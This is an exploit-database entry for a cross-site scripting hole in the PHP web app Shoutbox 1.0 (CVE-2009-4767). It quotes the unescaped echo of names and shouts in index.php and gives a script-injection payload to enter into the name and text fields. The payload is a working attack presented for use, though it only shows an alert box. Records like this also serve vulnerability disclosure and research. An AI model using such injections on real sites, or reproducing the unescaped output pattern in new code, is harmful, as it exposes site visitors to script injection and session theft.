Shoutbox 1.0 - HTML / Cross-Site Scripting Injection
Author: SkuLL-HackeR type: webapps platform: php port: date_added: 2009-11-17 date_updated: verified: 1 codes: OSVDB-60310;CVE-2009-4767 tags: aliases: screenshot_url: application_url: http://www.exploit-db.comShoutbox_1-0.zip raw file: 10168.txt
# Vulnerable Code in index.php : # # <p><strong><?php echo $names[$i]; ?>:</strong> <?php echo $shouts[$i]; ?></p> # ######################################## # Shoutbox 1.0 HTML / Xss inejction exploit # AuTh0r : SKuLL-HacKeR # H0ME : Sec-Best & SaudiHack & S3curity-Art # Email : My@Hotmail.iT ######################################## Vendor: http://www.plohni.com exploit: site.com/Shoutbox/index.php in the select your name and your text put this code '">><script>alert('XSS skh')</script>